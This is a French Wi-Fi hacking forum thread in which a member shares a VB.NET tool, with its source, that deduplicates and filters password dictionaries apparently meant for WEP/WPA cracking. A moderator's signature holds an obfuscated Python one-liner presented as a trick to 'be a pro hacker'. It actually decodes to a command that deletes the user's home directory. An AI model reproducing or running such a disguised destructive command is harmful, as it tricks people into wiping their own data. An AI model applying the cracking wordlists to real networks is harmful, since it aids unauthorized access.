Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 11-03-2014 15:32:56

Spectre
Membre Actif
Inscription : 03-06-2012
Messages : 33

Optimisateur de dictionnaire

Un petit logiciel bateau pour éviter les redondances dans les dico.

   MD5: bfe698040f801496e019bdb739d0016f
   SHA-1: c875b0427c1bd78139f70e75d27bf6666c88add9


Optimisateur de dictionnaire

Image Opt Dico

Dernière modification par Spectre (11-03-2014 16:32:10)


Une question ou une idée > [email protected]

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 12-03-2014 17:19:00

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : Optimisateur de dictionnaire

Merci pour vos contributions Spectre wink

Hors Ligne

#3 15-03-2014 18:24:49

airbase
Membre
Inscription : 03-02-2014
Messages : 23

Re : Optimisateur de dictionnaire

Ce qu'il faudrait c'est un executable comme ça qui supprime les lignes où il y a + de 4 fois le même signe etc ...
et les mots qui n'ont pas 8 caractères.

Hors Ligne

#4 25-03-2014 22:26:39

Spectre
Membre Actif
Inscription : 03-06-2012
Messages : 33

Re : Optimisateur de dictionnaire

Je fais une optimisation de celui-ci d'est que j'ai 5 mins :

Supprime les mots comportants des répétitions (réglages à partir de 2 et plus) de caractères.
Suppression des mots dont la taille est supérieur au nombre de caractère de la valeur réglée.

Ainsi qu'une correction de plusieurs bugs et la suppression du retour graphique qui allourdie le traitement.

Dernière modification par Spectre (25-03-2014 22:28:02)


Une question ou une idée > [email protected]

Hors Ligne

#5 26-03-2014 09:31:41

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 008

Re : Optimisateur de dictionnaire

*déconseillé

Tu veux pas filer les sources avec ? (ou le mettre sur une plateforme de partage de code)


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#6 27-03-2014 10:46:02

Spectre
Membre Actif
Inscription : 03-06-2012
Messages : 33

Re : Optimisateur de dictionnaire

Yo, le code source (Vb.net pour la coloration de la synthaxe) avec les diverses options demandées en plus.

Code source à venir modif

Dernière modification par Spectre (27-03-2014 11:23:28)


Une question ou une idée > [email protected]

Hors Ligne

#7 27-03-2014 12:35:49

Spectre
Membre Actif
Inscription : 03-06-2012
Messages : 33

Re : Optimisateur de dictionnaire

Yo, le code source (Vb.net pour la coloration de la synthaxe) avec les diverses options demandées en plus.


Imports System.IO.StreamWriter
Imports System.IO

Public Class Form1
#Region "Variables"
    'Gestion des dictionnaires 
    Dim LocalisationDicoUn, LocalisationDictoDeux As String 'Emplacement du dictionnaire 1 et 2 
    Dim ListeDicoUn() As String 'Tableau comportant toutes les occurances du dictionnaire 1
    Dim ListeDicoDeux() As String 'Tableau comportant toutes les occurances du dictionnaire 2
    Dim NouvelleListe() As String 'Tableau d'optimisation

    'Mots à comparer 
    Dim motUn As String
    Dim motDeux As String

    'Gestions des occurences de caractères 
    'Caractères spéciaux 1/4
    Dim whiteSpace As Integer   'l'espace blanc 
    Dim excla As Integer        '! ASCII : 33
    Dim doubleCote As Integer   '"
    Dim diese As Integer        '#  
    Dim dollard As Integer      '$
    Dim pourcent As Integer     '%
    Dim esperluette As Integer  '&
    Dim simpleCote As Integer   ''
    Dim parenOuv As Integer     '( ASCII : 40
    Dim parenFerm As Integer    ')
    Dim etoile As Integer       '*
    Dim plus As Integer         '+
    Dim virgule As Integer      ',
    Dim moins As Integer        '-
    Dim point As Integer        '. ASCII : 46
    Dim slash As Integer        '/

    'Chiffres
    Dim zero As Integer
    Dim un As Integer
    Dim deux As Integer
    Dim trois As Integer
    Dim quatre As Integer
    Dim cinq As Integer
    Dim six As Integer
    Dim sept As Integer
    Dim huit As Integer
    Dim neuf As Integer 'ASCII : 57

    'Caractères spéciaux 2/4
    Dim deuxpoint As Integer    ':
    Dim pointvirg As Integer    ';
    Dim pluspetit As Integer    '<
    Dim egale As Integer        '= ASCII : 61
    Dim plusgrand As Integer    '>
    Dim pointinter As Integer   '?
    Dim arobase As Integer      '@

    'Caractères en majuscules
    Dim alphUpp1 As Integer 'A ASCII : 65
    Dim alphUpp2 As Integer 'B
    Dim alphUpp3 As Integer 'C
    Dim alphUpp4 As Integer 'D
    Dim alphUpp5 As Integer 'E
    Dim alphUpp6 As Integer 'F
    Dim alphUpp7 As Integer 'G
    Dim alphUpp8 As Integer 'H
    Dim alphUpp9 As Integer 'I
    Dim alphUpp10 As Integer 'J ASCII : 74
    Dim alphUpp11 As Integer 'K
    Dim alphUpp12 As Integer 'L
    Dim alphUpp13 As Integer 'M
    Dim alphUpp14 As Integer 'N
    Dim alphUpp15 As Integer 'O
    Dim alphUpp16 As Integer 'P
    Dim alphUpp17 As Integer 'Q
    Dim alphUpp18 As Integer 'R
    Dim alphUpp19 As Integer 'S ASCII : 83
    Dim alphUpp20 As Integer 'T
    Dim alphUpp21 As Integer 'U
    Dim alphUpp22 As Integer 'V
    Dim alphUpp23 As Integer 'W
    Dim alphUpp24 As Integer 'X
    Dim alphUpp25 As Integer 'Y
    Dim alphUpp26 As Integer 'Z ASCII : 90

    'Caractères spéciaux 3/4
    Dim crochetOuv As Integer   '[
    Dim antiSlash As Integer    '\
    Dim crochetFer As Integer   ']
    Dim AccCircon As Integer    '^
    Dim underScore As Integer   '_

    'Caractères en minuscules 
    Dim alphLow1 As Integer 'a ASCII : 97
    Dim alphLow2 As Integer
    Dim alphLow3 As Integer
    Dim alphLow4 As Integer
    Dim alphLow5 As Integer
    Dim alphLow6 As Integer
    Dim alphLow7 As Integer
    Dim alphLow8 As Integer
    Dim alphLow9 As Integer
    Dim alphLow10 As Integer 'j ASCII : 106
    Dim alphLow11 As Integer
    Dim alphLow12 As Integer
    Dim alphLow13 As Integer
    Dim alphLow14 As Integer
    Dim alphLow15 As Integer
    Dim alphLow16 As Integer
    Dim alphLow17 As Integer
    Dim alphLow18 As Integer
    Dim alphLow19 As Integer 's ASCII : 115
    Dim alphLow20 As Integer
    Dim alphLow21 As Integer
    Dim alphLow22 As Integer
    Dim alphLow23 As Integer
    Dim alphLow24 As Integer
    Dim alphLow25 As Integer
    Dim alphLow26 As Integer 'z ASCII : 122

    'Caractères spéciaux 4/4
    Dim accolOuv As Integer '{
    Dim pipe As Integer     '|
    Dim accolFer As Integer '}
    Dim apeup As Integer    '~ ASCII : 126
#End Region
#Region "Boutons"
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    End Sub
    Private Sub BttDicoUn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BttDicoUn.Click
        ChoixDictionnaire(DictionnaireUn, PathDicoUn, LocalisationDicoUn)
        ReadDico(LocalisationDicoUn, ListeDicoUn, ListBox1)
    End Sub
    Private Sub BttDicoDeux_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BttDicoDeux.Click
        ChoixDictionnaire(DictionnaireDeux, PathDicoDeux, LocalisationDictoDeux)
        ReadDico(LocalisationDictoDeux, ListeDicoDeux, ListBox2)
    End Sub

    Private Sub BttOptimiser_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BttOptimiser.Click
        ListBox3.Items.Clear()
        Compare(ListeDicoUn, ListeDicoDeux, NouvelleListe, 1)
        Compare(ListeDicoDeux, ListeDicoUn, NouvelleListe, 2)
        CalculOccurence()
        BttSav.Visible = True
    End Sub

    Private Sub BttSav_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BttSav.Click
        Dim NomFichier = InputBox("Nom du dictionnaire optimisé ?", "Nom", "MonDictionnaire")

        If String.IsNullOrEmpty(NomFichier) Then 'si cancel alors quitter le sous programme 
            Exit Sub
        Else
            DossierDictionnaires.ShowDialog()

            If String.IsNullOrEmpty(DossierDictionnaires.SelectedPath) Then
                MsgBox("Choisir un dossier de destination", MsgBoxStyle.Critical)
                Exit Sub
            Else
                For X = 0 To NouvelleListe.Length - 1
                    Select Case X
                        Case 0
                            Write(DossierDictionnaires.SelectedPath & "\" & NomFichier, NouvelleListe(X))
                        Case Else
                            AddLigne(DossierDictionnaires.SelectedPath & "\" & NomFichier, NouvelleListe(X))
                    End Select
                Next

                Try
                    Process.Start(DossierDictionnaires.SelectedPath)
                Catch ex As Exception
                End Try
            End If
        End If
    End Sub
#End Region

#Region "Routines"
    'Choix du dictionnaire spécifié par l'opérateur dans la GUI 
    Sub ChoixDictionnaire(ByRef OpenFile As OpenFileDialog, ByRef Label As Label, ByRef VariableLocalisationDico As String)
        'Configuration de la boite de dialogue 
        OpenFile.ValidateNames = True
        OpenFile.InitialDirectory = "F:\Dictionnaires"
        OpenFile.Multiselect = False
        OpenFile.ShowDialog()

        'Récupération de l'emplacement du fichier et de son nom
        For Each item In OpenFile.FileNames
            VariableLocalisationDico = item
        Next

        'Récupération du nom du dictionnaire pour la GUI 
        For Each item In OpenFile.SafeFileNames
            Label.Text = item
        Next
    End Sub

    'Lecture des fichiers de passwords et rajout dans le tableau spécifié par l'opérateur
    Sub ReadDico(ByVal Fichier As String, ByRef Tableau() As String, ByRef Listbox As ListBox)
        Try
            Dim nbr_ligne As Integer = 0
            Dim sr As New StreamReader(Fichier)
            Dim ligne As String

            While sr.Peek <> -1
                nbr_ligne += 1
                ligne = sr.ReadLine()
                ReDim Preserve Tableau(nbr_ligne)       'Rajoute une ligne et garde le contenu du tableau intacte
                Tableau.SetValue(ligne, nbr_ligne)      'Rajoute la nouvelle valeur à l'index 
                If GUI.Checked = True Then
                    Listbox.Items.Add(ligne)
                End If
                Me.Text = "Lecture de la ligne : " & nbr_ligne
            End While
        Catch ex As Exception
        End Try
        Me.Text = "Lecture du fichier : " & Fichier & " terminée"
    End Sub

    'Compare les deux tableaux de mot de passe pour concevoir le tableau d'optimisation
    Sub Compare(ByRef TableauUn() As String, ByRef TableauDeux() As String, ByRef TableauOut() As String, ByRef Z As Integer)
        Dim nbr_ligne As Integer

        'Pour savoir à quel ligne commencer/recommencer dans le tableau 
        Select Case Z
            Case 1 'Première optimisation 
                nbr_ligne = 0
            Case 2 'Seconde optimisation 
                nbr_ligne = TableauOut.Length - 1
        End Select


        'Vérifie l'occurence présente base d'indexation du tableau Un par rapport aux occurences du tableau deux 
        For X = 0 To TableauUn.Length - 1
            motUn = TableauUn(X)    'Séléctionne le mot de la première liste 

            Select Case motUn
                Case Nothing    'Si mot = Nothing ne rien faire 
                Case Else
                    For i = 0 To TableauDeux.Length - 1  'Le compare à l'ensemble de la seconde liste 
                        motDeux = TableauDeux(i)
                    Next

                    'Compare le mot avec tout ceux du tableau si celui ci n'est pas null
                    If motUn <> Nothing Then
                        If motUn <> motDeux Then
                            'Si le nbr de caractère du mot est inférieur à la limite fixée 
                            If motUn.Length <= NbrMaxChar.Value Then

                                'Verification si ajout dans la liste optimisée 
                                Dim Verificateur As Boolean = False
                                'Code ASCII 
                                Dim ASCII As Integer

                                'Découpe le mot en lettres indépendantes et additionne les valeurs ASCII pour à l'issue les divisé par le code ASCII 
                                For i = 1 To Len(motUn)
                                    'Découpe le mot en caractère 
                                    Dim Caractere As Char = CChar(Mid(motUn, i, 1))
                                    'Retourne le code ASCII 
                                    ASCII = Asc(Caractere)


                                    'Incrémente du code ASCII la variable qui en dépend
                                    Select Case ASCII
                                        Case 32
                                            whiteSpace += ASCII
                                            Verificateur = VerifNbrChar(ASCII, whiteSpace)
                                        Case 33
                                            excla += ASCII
                                            Verificateur = VerifNbrChar(ASCII, excla)
                                        Case 34
                                            doubleCote += ASCII
                                            Verificateur = VerifNbrChar(ASCII, doubleCote)
                                        Case 35
                                            diese += ASCII
                                            Verificateur = VerifNbrChar(ASCII, diese)
                                        Case 36
                                            dollard += ASCII
                                            Verificateur = VerifNbrChar(ASCII, dollard)
                                        Case 37
                                            pourcent += ASCII
                                            Verificateur = VerifNbrChar(ASCII, pourcent)
                                        Case 38
                                            esperluette += ASCII
                                            Verificateur = VerifNbrChar(ASCII, esperluette)
                                        Case 39
                                            simpleCote += ASCII
                                            Verificateur = VerifNbrChar(ASCII, simpleCote)
                                        Case 40
                                            parenOuv += ASCII
                                            Verificateur = VerifNbrChar(ASCII, parenOuv)
                                        Case 41
                                            parenFerm += ASCII
                                            Verificateur = VerifNbrChar(ASCII, parenFerm)
                                        Case 42
                                            etoile += ASCII
                                            Verificateur = VerifNbrChar(ASCII, etoile)
                                        Case 43
                                            plus += ASCII
                                            Verificateur = VerifNbrChar(ASCII, plus)
                                        Case 44
                                            virgule += ASCII
                                            Verificateur = VerifNbrChar(ASCII, virgule)
                                        Case 45
                                            moins += ASCII
                                            Verificateur = VerifNbrChar(ASCII, moins)
                                        Case 46
                                            point += ASCII
                                            Verificateur = VerifNbrChar(ASCII, point)
                                        Case 47
                                            slash += ASCII
                                            Verificateur = VerifNbrChar(ASCII, slash)
                                        Case 48
                                            zero += ASCII
                                            Verificateur = VerifNbrChar(ASCII, zero)
                                        Case 49
                                            un += ASCII
                                            Verificateur = VerifNbrChar(ASCII, un)
                                        Case 50
                                            deux += ASCII
                                            Verificateur = VerifNbrChar(ASCII, deux)
                                        Case 51
                                            trois += ASCII
                                            Verificateur = VerifNbrChar(ASCII, trois)
                                        Case 52
                                            quatre += ASCII
                                            Verificateur = VerifNbrChar(ASCII, quatre)
                                        Case 53
                                            cinq += ASCII
                                            Verificateur = VerifNbrChar(ASCII, cinq)
                                        Case 54
                                            six += ASCII
                                            Verificateur = VerifNbrChar(ASCII, six)
                                        Case 55
                                            sept += ASCII
                                            Verificateur = VerifNbrChar(ASCII, sept)
                                        Case 56
                                            huit += ASCII
                                            Verificateur = VerifNbrChar(ASCII, huit)
                                        Case 57
                                            neuf += ASCII
                                            Verificateur = VerifNbrChar(ASCII, neuf)
                                        Case 58
                                            deuxpoint += ASCII
                                            Verificateur = VerifNbrChar(ASCII, deuxpoint)
                                        Case 59
                                            pointvirg += ASCII
                                            Verificateur = VerifNbrChar(ASCII, pointvirg)
                                        Case 60
                                            pluspetit += ASCII
                                            Verificateur = VerifNbrChar(ASCII, pluspetit)
                                        Case 61
                                            egale += ASCII
                                            Verificateur = VerifNbrChar(ASCII, egale)
                                        Case 62
                                            plusgrand += ASCII
                                            Verificateur = VerifNbrChar(ASCII, plusgrand)
                                        Case 63
                                            pointinter += ASCII
                                            Verificateur = VerifNbrChar(ASCII, pointinter)
                                        Case 64
                                            arobase += ASCII
                                            Verificateur = VerifNbrChar(ASCII, arobase)

                                            'Majuscule 
                                        Case 65
                                            alphUpp1 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp1)
                                        Case 66
                                            alphUpp2 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp2)
                                        Case 67
                                            alphUpp3 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp3)
                                        Case 68
                                            alphUpp4 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp4)
                                        Case 69
                                            alphUpp5 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp5)
                                        Case 70
                                            alphUpp6 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp6)
                                        Case 71
                                            alphUpp7 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp7)
                                        Case 72
                                            alphUpp8 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp8)
                                        Case 73
                                            alphUpp9 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp9)
                                        Case 74
                                            alphUpp10 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp10)
                                        Case 75
                                            alphUpp11 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp11)
                                        Case 76
                                            alphUpp12 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp12)
                                        Case 77
                                            alphUpp13 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp13)
                                        Case 78
                                            alphUpp14 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp14)
                                        Case 79
                                            alphUpp15 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp15)
                                        Case 80
                                            alphUpp16 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp16)
                                        Case 81
                                            alphUpp17 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp17)
                                        Case 82
                                            alphUpp18 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp18)
                                        Case 83
                                            alphUpp19 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp19)
                                        Case 84
                                            alphUpp20 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp20)
                                        Case 85
                                            alphUpp21 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp21)
                                        Case 86
                                            alphUpp22 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp22)
                                        Case 87
                                            alphUpp23 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp23)
                                        Case 88
                                            alphUpp24 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp24)
                                        Case 89
                                            alphUpp25 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp25)
                                        Case 90
                                            alphUpp26 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphUpp26)

                                        Case 91
                                            crochetOuv += ASCII
                                            Verificateur = VerifNbrChar(ASCII, crochetOuv)
                                        Case 92
                                            antiSlash += ASCII
                                            Verificateur = VerifNbrChar(ASCII, antiSlash)
                                        Case 93
                                            crochetFer += ASCII
                                            Verificateur = VerifNbrChar(ASCII, crochetFer)
                                        Case 94
                                            AccCircon += ASCII
                                            Verificateur = VerifNbrChar(ASCII, AccCircon)
                                        Case 95
                                            underScore += ASCII
                                            Verificateur = VerifNbrChar(ASCII, underScore)
                                        Case 96
                                            simpleCote += ASCII
                                            Verificateur = VerifNbrChar(ASCII, simpleCote)

                                            'Minuscule
                                        Case 97
                                            alphLow1 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow1)
                                        Case 98
                                            alphLow2 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow2)
                                        Case 99
                                            alphLow3 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow3)
                                        Case 100
                                            alphLow4 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow4)
                                        Case 101
                                            alphLow5 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow5)
                                        Case 102
                                            alphLow6 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow6)
                                        Case 103
                                            alphLow7 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow7)
                                        Case 104
                                            alphLow8 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow8)
                                        Case 105
                                            alphLow9 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow9)
                                        Case 106
                                            alphLow10 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow10)
                                        Case 107
                                            alphLow11 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow11)
                                        Case 108
                                            alphLow12 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow12)
                                        Case 109
                                            alphLow13 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow13)
                                        Case 110
                                            alphLow14 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow14)
                                        Case 111
                                            alphLow15 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow15)
                                        Case 112
                                            alphLow16 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow16)
                                        Case 113
                                            alphLow17 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow17)
                                        Case 114
                                            alphLow18 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow18)
                                        Case 115
                                            alphLow19 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow19)
                                        Case 116
                                            alphLow20 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow20)
                                        Case 117
                                            alphLow21 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow21)
                                        Case 118
                                            alphLow22 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow22)
                                        Case 119
                                            alphLow23 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow23)
                                        Case 120
                                            alphLow24 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow24)
                                        Case 121
                                            alphLow25 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow25)
                                        Case 122
                                            alphLow26 += ASCII
                                            Verificateur = VerifNbrChar(ASCII, alphLow26)
                                        Case 123
                                            accolOuv += ASCII
                                            Verificateur = VerifNbrChar(ASCII, accolOuv)
                                        Case 124
                                            pipe += ASCII
                                            Verificateur = VerifNbrChar(ASCII, pipe)
                                        Case 125
                                            accolFer += ASCII
                                            Verificateur = VerifNbrChar(ASCII, accolFer)
                                        Case 126
                                            apeup += ASCII
                                            Verificateur = VerifNbrChar(ASCII, apeup)
                                        Case Else
                                    End Select
                                Next

                                'Si la vérification donne un résultat vrai
                                If Verificateur = True Then
                                    'Rajoute le mot au tableau d'optimisation
                                    nbr_ligne += 1
                                    ReDim Preserve TableauOut(nbr_ligne)            'Nouvel index  
                                    TableauOut.SetValue(motUn, nbr_ligne)           'Rajoute le mot à l'index 

                                    If GUI.Checked = True Then
                                        ListBox3.Items.Add(TableauOut(nbr_ligne))
                                    End If

                                    occurences.Text = nbr_ligne.ToString
                                End If

                                ClearAll() 'Vide les variables de stockages du nbr de rep des caractères 

                            End If

                        End If
                    End If
            End Select
        Next


    End Sub

    'Vérifie le nbr de répétition de lettre dans le mot 
    Function VerifNbrChar(ByRef CodeASCII As Integer, ByRef VarToVerif As Integer) As Boolean
        Dim Control As Integer

        Try
            'Diviser la variable itérée par le code ASCII concernée 
            Control = VarToVerif / CodeASCII

            If Control > LimiteReps.Value Then  'Si le résultat est supérieur à la limite fixée par l'opérateur 
                Return False    'Dire que c'est pas bon... 
            Else 'Si le résultat est égale ou inférieur à la limite fixée par l'opérateur 
                Return True    'Dire que c'est bon 
            End If

            'Si le résultat de la division est impossible 
        Catch
            Return False   'Dire que c'est pas bon... 
        End Try
    End Function
    'Clear Var ASCII
    Sub ClearAll()
        'Caractères spéciaux 1/4
        whiteSpace = Nothing   'l'espace blanc 
        excla = Nothing        '! ASCII : 33
        doubleCote = Nothing   '"
        diese = Nothing        '#  
        dollard = Nothing      '$
        pourcent = Nothing     '%
        esperluette = Nothing  '&
        simpleCote = Nothing   ''
        parenOuv = Nothing     '( ASCII : 40
        parenFerm = Nothing    ')
        etoile = Nothing       '*
        plus = Nothing         '+
        virgule = Nothing      ',
        moins = Nothing        '-
        point = Nothing        '. ASCII : 46
        slash = Nothing        '/

        'Chiffres
        zero = Nothing
        un = Nothing
        deux = Nothing
        trois = Nothing
        quatre = Nothing
        cinq = Nothing
        six = Nothing
        sept = Nothing
        huit = Nothing
        neuf = Nothing 'ASCII : 57

        'Caractères spéciaux 2/4
        deuxpoint = Nothing    ':
        pointvirg = Nothing    ';
        pluspetit = Nothing    '<
        egale = Nothing        '= ASCII : 61
        plusgrand = Nothing    '>
        pointinter = Nothing   '?
        arobase = Nothing      '@

        'Caractères en majuscules
        alphUpp1 = Nothing 'A ASCII : 65
        alphUpp2 = Nothing 'B
        alphUpp3 = Nothing 'C
        alphUpp4 = Nothing 'D
        alphUpp5 = Nothing 'E
        alphUpp6 = Nothing 'F
        alphUpp7 = Nothing 'G
        alphUpp8 = Nothing 'H
        alphUpp9 = Nothing 'I
        alphUpp10 = Nothing 'J ASCII : 74
        alphUpp11 = Nothing 'K
        alphUpp12 = Nothing 'L
        alphUpp13 = Nothing 'M
        alphUpp14 = Nothing 'N
        alphUpp15 = Nothing 'O
        alphUpp16 = Nothing 'P
        alphUpp17 = Nothing 'Q
        alphUpp18 = Nothing 'R
        alphUpp19 = Nothing 'S ASCII : 83
        alphUpp20 = Nothing 'T
        alphUpp21 = Nothing 'U
        alphUpp22 = Nothing 'V
        alphUpp23 = Nothing 'W
        alphUpp24 = Nothing 'X
        alphUpp25 = Nothing 'Y
        alphUpp26 = Nothing 'Z ASCII : 90

        'Caractères spéciaux 3/4
        crochetOuv = Nothing   '[
        antiSlash = Nothing    '\
        crochetFer = Nothing   ']
        AccCircon = Nothing    '^
        underScore = Nothing   '_

        'Caractères en minuscules 
        alphLow1 = Nothing 'a ASCII : 97
        alphLow2 = Nothing
        alphLow3 = Nothing
        alphLow4 = Nothing
        alphLow5 = Nothing
        alphLow6 = Nothing
        alphLow7 = Nothing
        alphLow8 = Nothing
        alphLow9 = Nothing
        alphLow10 = Nothing 'j ASCII : 106
        alphLow11 = Nothing
        alphLow12 = Nothing
        alphLow13 = Nothing
        alphLow14 = Nothing
        alphLow15 = Nothing
        alphLow16 = Nothing
        alphLow17 = Nothing
        alphLow18 = Nothing
        alphLow19 = Nothing 's ASCII : 115
        alphLow20 = Nothing
        alphLow21 = Nothing
        alphLow22 = Nothing
        alphLow23 = Nothing
        alphLow24 = Nothing
        alphLow25 = Nothing
        alphLow26 = Nothing 'z ASCII : 122

        'Caractères spéciaux 4/4
        accolOuv = Nothing '{
        pipe = Nothing     '|
        accolFer = Nothing '}
        apeup = Nothing    '~ ASCII : 126
    End Sub

    'Calcul le nbr de mots présent dans le tableau d'optimisation
    Sub CalculOccurence()
        Dim Nbr_Occurence As Integer
        Try
            For X = 0 To NouvelleListe.Length - 1
                Nbr_Occurence = X
            Next
        Catch ex As Exception
        End Try


        occurences.Text = "Occurences : " & Nbr_Occurence.ToString
    End Sub

    'Nouveau fichier texte 
    Sub Write(ByRef Fichier As String, ByVal Ligne As String)
        Try
            Using writer As StreamWriter = File.CreateText(Fichier & ".txt")
                writer.WriteLine(Ligne)
                writer.Flush()
                writer.Close()
                writer.Dispose()
            End Using
        Catch ex As Exception

        End Try
    End Sub
    'Rajout des lignes 
    Sub AddLigne(ByRef Fichier As String, ByVal Ligne As String)
        Try
            Using writer As StreamWriter = File.AppendText(Fichier & ".txt")
                writer.Write(Ligne & vbNewLine)
                writer.Flush()
                writer.Close()
                writer.Dispose()
            End Using
        Catch ex As Exception

        End Try
    End Sub
#End Region

End Class

Une question ou une idée > [email protected]

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
10 1007 20-11-2016 03:13:07 par richie
13 476 20-11-2016 02:42:37 par richie
3 1080 06-07-2016 15:13:55 par Seska
7 2390 09-05-2016 13:57:09 par FredHilbert
2 696 26-03-2016 10:59:21 par M1ck3y

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.124 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]